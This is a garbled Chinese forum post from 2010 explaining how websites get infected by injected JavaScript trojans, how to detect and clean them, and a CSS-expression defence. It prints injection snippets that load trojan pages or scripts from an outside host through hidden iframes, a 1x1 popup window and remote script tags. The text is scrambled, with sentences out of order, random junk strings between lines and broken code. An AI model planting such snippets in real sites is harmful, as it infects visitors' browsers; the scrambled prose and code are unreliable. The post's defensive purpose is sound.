搜索
查看: 12158|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

/ p) K' J2 k4 s: m( o

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

+ j6 x, r; D) Z4 \; T

IFRAME 和 JS 脚本挂马。

* x; E" F. i$ Y; b3 s

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

3 ~9 Q2 q, }, r0 a

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

, \7 I2 x4 ]: z8 V- j* b3 o

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

# @& T7 P' s4 i4 m" s

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

% R* p3 ^. ^' n7 r' N+ J/ ~/ r; k5 J2 [1 I

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

: Q0 e0 L; @$ v' R- K4 B9 V

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

* T1 `; A. v2 X5 x% E

。一千多位会员的 ID

8 O0 e u) I q- g8 \( n1 n$ w! `

2: 如何检测网页是否被挂马。

7 r6 R1 V7 {4 A+ \# N+ m* @

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

5 J, t: S J! z

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

S1 O. X U4 w+ F( M

因素。
2 googl 检测。>

3 I: ^8 O1 e8 S5 F

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

1 f5 A5 a* l! X& _4 x4 x

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

; \1 \+ V$ R. m4 I

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

! Y9 z4 d" r( a& x

3 U$ ~! d, z( b1 M/ T% X) _& z

3: 如何清除网页木马。

* c7 T# ]1 G# Z% n- m4 v% s! q

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

% f4 q" f! u& v" H1 Y

入源文件把相关的网页挂马种类的可疑代码删除。

+ S: ^, n6 O6 A/ a# B. j; L, y

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

- {1 d7 s7 X4 ^

悉。>

l' r1 Q6 N! v

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

0 h0 g" g! i3 F; i1 A" a

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

+ y1 A* r& z; v7 c. N8 t

2 保证你所使用的顺序及时的更新。

: g* [7 N1 B W0 h3 W' m1 {# v

3 不要在前台网页上加注后台管理程序登陆页面的链接。

" n. t/ \* C6 Z

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

4 | z, [7 f+ r Q+ v* }

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

^; n5 E W( u3 c

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

: Z @0 A/ h# H3 B' h

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

3 S2 h* }! ?- u9 G. Y

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

. e9 q1 Q3 v2 I6 S

$ d9 u+ v1 V* o2 S H

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

/ _7 O* d8 O( D8 d

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

9 n. Q7 c/ J' k4 t

JS 挂马溯源

3 R$ M2 u- {4 P5 r: C

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

6 i v$ @" K% U4 X& l

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

' N' s! _ \( T+ c# e8 a

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

0 g0 ?. k1 b3 K6 A

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

4 Y+ B7 N& p3 u& x

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

- @/ }% H; ?0 B" t' w( w5 G

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

0 d' D( x/ X: k3 [" `+ F

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

5 q" T ^0 u0 y0 T8 D

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

3 g, A: N) P' B3 ]

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

; q( \8 p8 `: }% Q8 c# {$ h3 P2 r. `

脚本在工作中会有很大的协助。

/ b' T+ m" C+ h. S. T+ U

挂马原理一点通

7 `+ {; x' s* x: g9 F p

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

& ~3 j* u- o/ I7 r9 \

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

) P% y6 e+ I3 U V3 j6 c

无从区分木马在何处。

1 H. i; @. { @- ~/ s/ U n; |4 J

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

. y$ k; Y. W, S0 I2 C5 A

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

1 W8 I# Q4 }( d; J) J% Y

容易蒙混过关,导致木马久杀不绝。

2 ?3 v$ `) r; i1 T8 `4 |+ T; y

JS 挂马攻防实录

& R; R$ W) I3 D/ L6 Y( ?# C S( D

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

/ [/ Q. W2 r3 c3 T7 P* ?8 y$ A+ T

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

[. V& f9 I" x

这种方法使用的关键代码如下:

, f- I# E& q4 G% ~

"",  window.open "http://www.v404.cn/ 木马

1 N, I/ {7 h1 ?, _# X1 q z

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

4 w( r, E$ ~* W3 b6 _2 p$ t% _

4 x8 O! X; B+ `0 a

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

* B& t, \% n; G7 L7 n3 K

但是设置为 0 后,可能会出现恶意代码不运行的情况。

& H; N F1 v* j; I1 [" x

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

& K6 x% r6 \" H2 X

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

1 j: Y+ |8 ?& ?/ `3 L( z" `( ^

。

0 W9 ?+ ]. P X* o7 U9 j- {) @

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

, H# q' j; I9 M) i+ H

' V) D* W/ w9 P

或者

9 B" j. |5 K7 `+ b3 V

document.writ "<div style='display:none'>"

( F- ]' `3 v* B6 }+ k" d3 V9 u, r

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

; O8 Q. K1 ?( O: U8 t3 |' }

document.writ "</div>"
 

6 T) J8 z, T1 ?( U9 g& B

. X0 i! r) I* q

就成功地将木马挂到对方的网页中了

. \) u7 m! }1 e- L

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

8 ^: g" J3 j' R: e9 g, S( u! M

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

& R- s( t+ {* j! D0 o- q H

或者:

# u* D. Y. B4 J$ q$ A0 Y

<ifram src="vbscript:[ 挂马脚本 ]">

& [+ x# g. P2 E% h

( j" X! c( h$ }- g( b


等等 …

8 u+ e3 t1 k" j

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

6 k: ?+ }5 s4 d; ~; f2 I

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

' F l2 {. t; ]

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

( D) O: y* d* l) ?

;}

6 q' h3 Z6 i) P

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

) \1 e* j& J( F4 _

) [" ?/ G" x/ D: ]6 a( W

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

2 k4 ?/ v" x- t9 g! Y0 ?

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

. u$ m9 `+ x: S; w

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

/ W2 S# @- D; ]4 B- ?& Q& w, b

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

2 ~( F! Z i- U7 [: n5 g; s7 ? g, m

<title> 让 JS 挂马中止的 CSS 代码 </title>

$ h( n5 l4 h# P9 O

<styl type="text/css" id="shudoo">

/ `" U9 z* Q) q7 ?

/*<![CDATA[*/

* c% z( H7 `! l3 `

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

. U: x. V6 p* ?, p) f. p

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

& h, V& e6 d5 U* T( z% a# G

/*]]>*/

$ y# f# N' V0 I# v

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表